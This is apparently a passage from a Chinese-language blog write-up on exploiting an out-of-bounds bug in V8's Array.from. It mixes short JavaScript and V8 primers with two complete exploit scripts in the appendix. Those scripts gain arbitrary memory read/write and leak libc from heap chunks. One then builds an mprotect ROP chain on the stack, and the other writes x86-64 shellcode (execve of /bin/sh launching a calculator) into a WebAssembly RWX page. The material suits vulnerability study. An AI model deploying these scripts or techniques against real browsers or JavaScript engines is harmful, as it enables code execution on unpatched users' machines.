var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;

%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));

通过leak_obj函数将WASM的地址泄露,然后通过WASM的结构(在release下)一步步将RWX空间读取出来。需要注意的是根据不同版本的v8,数据结构可能不同 ,所以需要更具实际调试结果为准。此处的结构如下

wasmInstance.exports.main f->shared_info->code+0x70

nU6RUE

ldz5he

获取RWX地址,直接将shellcode写进去就行了。之后只需要调用这个WASM函数就可以执行我们的shellcode。

1
2
3
4
5
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
wr.write(instanceAddr+i,sc[i]);
}
f();

JIT

在较早期版本的v8引擎中,经常使用向JIT写入shellcode的方式。不过在6.7版本之后,JIT的区域会被标记为不可写。可以考虑JIT Spray/JIT ROP之类的绕过。这里我们就实验如何找到JIT的这块内存为止。

与写入WASM一样要通过数据的结构来寻找JIT的内存,索引关系如下

JSFunction->kCodeEntry Offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//让function变hot
function f()
{
for(let i=0;i<0x1000000;i++)
{
let a='migraine';
}
}
//通过jsfunction结构找到JIT的地址
let jsfunc_addr=wr.leak_obj(f);
let jit_addr=wr.read(jsfunc_addr+6*8)-1;
console.log("jsfunction address = "+hex(jsfunc_addr));
console.log("jit address = "+hex(jit_addr));

WLtsdH

eju1Un

小结

这个漏洞来自v8对JS函数array.from的实现,开发者没有考虑到在array.from中也可以输入数组,所以造成了一个数组越界漏洞。一般来说数组越界的漏洞都比较好利用,不过写利用的时候遇到不少坑(可能因为我太菜了。

但说利用,有这几点需要思考。

  • 需要考虑的是gc的回收的问题,何时回收,会对我们的内存结构有什么影响
  • 为什么大量进行读取之后,原本控制的ArrayBuffer位置跑飞了,如何避免
  • 除了对stack进行retn覆盖,有什么办法来触发ROP(思考一下stack povit可以吗)

JS基础

Symbol.iterator

ES6标准新增的迭代器,对象编写迭代器后可以使用for … of 这些语法来进行迭代。

Array数组中自带Symbol.iterator。

1
2
var a=[1,2,3,4,5]
console.log([...a]); //1,2,3,4,5

让我们编写一个迭代器

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
let obj={
0:'a',
1:'b',
2:'c',
length:3,
[Symbol.iterator]:function(){ //迭代器实现

let index=0;
let next=()=>{ //迭代器必须包含一个next函数
return{
value:this[index], //输出
done:this.length==++index //判断退出条件
}
}
return {next}
}
};
console.log(obj.length); // 3
console.log([...obj]); // a,b
for(let p of obj)
{
console.log(p); //a b
}

call()

call方法在js对象中可以用修改this对象,让我们写一个小实验。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var name='migraine1',age=18;
var obj={
name:'migraine2',
objAge:this.age,
myFun:function(){
console.log(this.name+" age "+this.age);
}
}
var db={
name:'migraine3',
age:81
}
obj.myFun(); //migraine2 age undefined
obj.myFun.call(db); //migraine3 age 81

第一次调用obj.myFun(),this的两个值得注意。funciton内的this并不是全局this,无法调用obj外部的age,所以this.age变成了undefined。而在function外部的objAge:this.age中的this则是全局的this。

第二次调用obj.myFun().call(db),this对象被修改为了db,于是输出了db的name和age,这就是call函数的作用。能够将this对象指向obj外的其他对象。

call也支持带参数的function,Demo如下

1
2
3
4
5
6
7
8
9
10
11
var obj={
name:'migraine2',
myFun:function(age){ //带参的function
console.log(this.name+" age "+age);
}
}
var db={
name:'migraine3'
}
obj.myFun.call(db,'18'); //migraine3 age 18

Array.from

Array.from()方法就是将一个类数组对象或者可遍历对象转换成一个真正的数组。
类数组对象需要满足基本要求是具有length属性。

Array.from(arrayLike[, mapFn[, thisArg]])
arrayLike:被转换的的对象。
mapFn:map函数。
thisArg:map函数中this指向的对象。

Demo

1
2
3
let oobArray = [];
console.log(Array.from([1,2,3,4],(n)=>n+1)); //2,3,4,5
console.log(Array.from.call(oobArray,[1,2,3,4],(n)=>n+1)); //2,3,4,5

从Demo可以看出,call并不影响Array.from函数的使用,修改this为oobArray对象。

在poc中,将this指向oobArray对象,然后将一个包含迭代器的类数组对象转化为数组。之后oobArray迭代输出来验证这个过程。(需要删除oobArray.length = 0;)

1
2
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ()...});
console.log(...oobArray);//0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16....

Array.from的Polyfill实现可以参考

Array.from:Polyfill

v8基础

关于V8对象的基础可以看我整理的V8基础,在这部分补充一些与题目相关的v8内容。

FixedArrayv8中定义一类固定长度的数组类*(src/object/fixed-array.h)*也是在Object中最常见的一类数组,包括Elements和Property的数据都是存放在FixedArray中。

类之间的父子关系如下,箭头指向继承的结构,可以结合源代码消化

1
2
3
4
5
6
7
8
9
10
11
12
//继承关系
HeapObject-->FixedArrayBase-->FixedArray
| |
v v
map length

//数据结构
FixedArray
|__ map__|
|_length_|
| values |
| ... |

扩展阅读

ES6-Symbol.iterator 迭代器
JavaScript 中 call()、apply()、bind() 的用法

通过DT_DEBUG来获得各个库的基址
从一道CTF题零基础学V8漏洞利用
821137-V8引擎数组越界漏洞分析及利用

附录

使用libc泄露的exploit

适用情况:只能在Ubuntu16.04(glibc2.23)下成功exploit,其他版本需要调整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
class ChangeType{
constructor(){
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}

}
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();

let oobArray = [1.1]; //float
let arrays=[];
let objs=[]; //for leak
let maxSize = 1028 * 8; //8224

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC


//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000);
break;
}
}

for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){

console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
let tmp=new Float64Array(arrays[buf_index],0,0x10);
tmp[0]=ct.i2f(0xdeadbeef);
break;
}
}

let obj_index;
let obj_offset;
//find Objects

for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x123400000000)
{
obj_offset=i;
console.log("[*]find target objecets in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0x123500000000);
break;
}
}

for(let i=0;i<100;i++)
{
if(objs[i].a===0x1235){
console.log("[*]find target objs number ["+i+"]");
obj_index=i;
break;
}
}

class ArbitraryRW
{
leak_obj(obj){
objs[obj_index].a = obj;

return ct.f2i(oobArray[obj_offset]) - 1;
}
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
//console.log(hex(addr));
//console.log(hex(ct.f2i(oobArray[backing_store])));
//console.log(hex(ct.f2i(oobArray[kbitfield])));
let tmp=new Float64Array(arrays[buf_index],0,0x10);
return ct.f2i(tmp[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,0x10);
this.f64[0]=ct.i2f(value);
}
leak(){
return ct.f2i(oobArray[kbitfield]);
}
}

let wr=new ArbitraryRW();

let heap=wr.leak()-0x10;
console.log("[*]leak backing store address="+hex(heap));

chunk=heap;
let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;

for(let i=0;i<0x5000;i++)
{
//let leak=wr.read(heap);
prev_size=wr.read(chunk);
size=wr.read(chunk+8);

if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0)
{
let tmp_ptr=chunk-prev_size;
fd=wr.read(tmp_ptr+0x10);
bk=wr.read(tmp_ptr+0x18);
console.log(hex(chunk)+"->"+hex(prev_size));
if(parseInt(fd/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(fd)");
finded=fd;

break;
}
if(parseInt(bk/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(bk)");
console.log(hex(bk));
break;
}
}
else if(size<0x20){break;}

size=parseInt(size/8)*8;
chunk+=size;
}
if(finded!==0)
{
libc_base=parseInt(finded/0x100)*0x100-0x3c3b00;
console.log("libc_base="+hex(libc_base));
}
else{
console.log("Error when leak libc base!Try Again.");
}

//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);

ptr=wr.read(shellcode_addr+0x18)-1;
shellcode_addr=wr.read(ptr+0x20);
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
shellcode[i]=sc[i];
}

//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]

//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));

let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<10;i++)
{
wr.write(rop_addr-i*8,retn);
}


//malloc hook
/*
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);
*/


//oobArray[oobArray.length - 1] = 0x41414141; //触发crash

通过Wasm写入shellcode

适用情况:任意版本的Linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
class ChangeType{
constructor(){
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}

}
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();

let oobArray = [1.1]; //float
let arrays=[];
let objs=[]; //for leak
let maxSize = 1028 * 8; //8224

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC


//find ArrayBuffer in the shot
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000);
break;
}
}

for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){

console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
let tmp=new Float64Array(arrays[buf_index],0,0x10);
tmp[0]=ct.i2f(0xdeadbeef);
break;
}
}

let obj_index;
let obj_offset;
//find Objects

for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
if(val===0x123400000000)
{
obj_offset=i;
console.log("[*]find target objecets in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0x123500000000);
break;
}
}

for(let i=0;i<100;i++)
{
if(objs[i].a===0x1235){
console.log("[*]find target objs number ["+i+"]");
obj_index=i;
break;
}
}

class ArbitraryRW
{
leak_obj(obj){
objs[obj_index].a = obj;
return ct.f2i(oobArray[obj_offset]) - 1;
}
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
//console.log(hex(addr));
//console.log(hex(ct.f2i(oobArray[backing_store])));
//console.log(hex(ct.f2i(oobArray[kbitfield])));
let tmp=new Float64Array(arrays[buf_index],0,0x10);
return ct.f2i(tmp[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,0x10);
this.f64[0]=ct.i2f(value);
}
leak(){
return ct.f2i(oobArray[kbitfield]);
}
}

let wr=new ArbitraryRW();

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;

%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));


let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
wr.write(instanceAddr+i,sc[i]);
}
f();